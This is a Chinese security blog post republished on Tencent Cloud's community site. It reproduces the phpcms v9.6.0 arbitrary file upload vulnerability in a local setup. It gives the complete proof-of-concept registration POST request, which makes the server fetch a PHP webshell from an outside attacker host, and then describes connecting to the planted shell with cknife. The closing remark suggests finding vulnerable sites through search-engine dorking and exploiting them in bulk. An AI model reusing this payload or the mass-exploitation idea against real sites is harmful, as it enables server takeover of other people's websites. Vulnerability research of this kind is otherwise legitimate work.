前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >斗哥说|phpcms_v9.6.0 任意文件上传漏洞复现!

斗哥说|phpcms_v9.6.0 任意文件上传漏洞复现!

作者头像
漏斗社区
发布2018-03-28 15:31:40
2.3K0
发布2018-03-28 15:31:40
举报
文章被收录于专栏:漏斗社区漏斗社区

前言

在开启严肃认真的知识分享前,斗哥跟大家说一件严肃的事儿!本周日是一年一度的母亲节!无论你身处他乡还是奔波忙碌,别忘了给亲爱的母上大人送上节日的祝福,家永远是避风的港湾。好啦!煽情结束!

本周斗哥给大家带来了4月份爆出phpcms v9.6.0的漏洞之一,允许上传任意文件,可直接利用该漏洞getShell,这个漏洞利用过程还是比较简单和直接的,接下来复现下这个漏洞。

基础环境

1.phpcms_v9.6.0源码。

2.web应用环境用于搭建phpcms。

3.web应用服务器用于下载木马文件。

需要工具

1.BurpSuite 或者hackBar等。

2.PHPStudy或者wamp等。

源码部署过程

我是在本地使用phpStudy _Apache+MySQL的web应用环境将源码部署在本机的。

1. 0x01 解压phpcms_v9.6.0源码文件,将源码放在www目录下。

2.0x02 启动phpstudy,然后访问本地http://127.0.0.1/phpcms/地址。

3.0x03 安装完成后访问首页,可以正常访问便是安装成功。http://127.0.0.1/phpcms/index.php。

漏洞复现过程

1. 0x01 按照常规的源码部署流程先将phpcms_v9.6.0部署到web环境中,部署完成后访问注册模块。

2. 0x02在会员注册模块中填写注册信息,并使用burpSuite抓包发送到repeater中并修改POST请求的参数值为以下内容:

siteid=1&modelid=11&username=thinking1&password=thinking1&email=thinking1@qq.com&info[content]=<img src=http://10.10.10.129:8888/cus.php#.jpg>&dosubmit=1&protocol=

info[content]中用img标签写入远程主机上的PHP一句话木马并使用#对后面的.jpg进行截断。

也可以直接使用hackbar使用POST请求提交以下的POC

Request:http://xxx.xxx.xxx/phpcms/index.php?m=member&c=index&a=register&siteid=1

[POST DATA]

siteid=1&modelid=11&username=thinking1&password=thinking1&email=thinking1@qq.com&info[content]=<img src=http://10.10.10.129:8888/cus.php#.jpg>&dosubmit=1&protocol=

3. 0x03 修改好后发送改请求包可在响应包中获得上传成功的一句话木马地址:

http://xxx.xxxx.xxx/phpcms/uploadfile/2017/0511/20170511024349903.php

4. 0x04 使用cknife连接一句一句话木马,便成功获得到了网站的webShell了。

总结:稍稍看了下,这个footer搞不好可以进行GoogleHacking 一波,而且整个漏洞的利用属于较简单的,具体怎么进行批量大家可以用多多思考下:)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-05-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档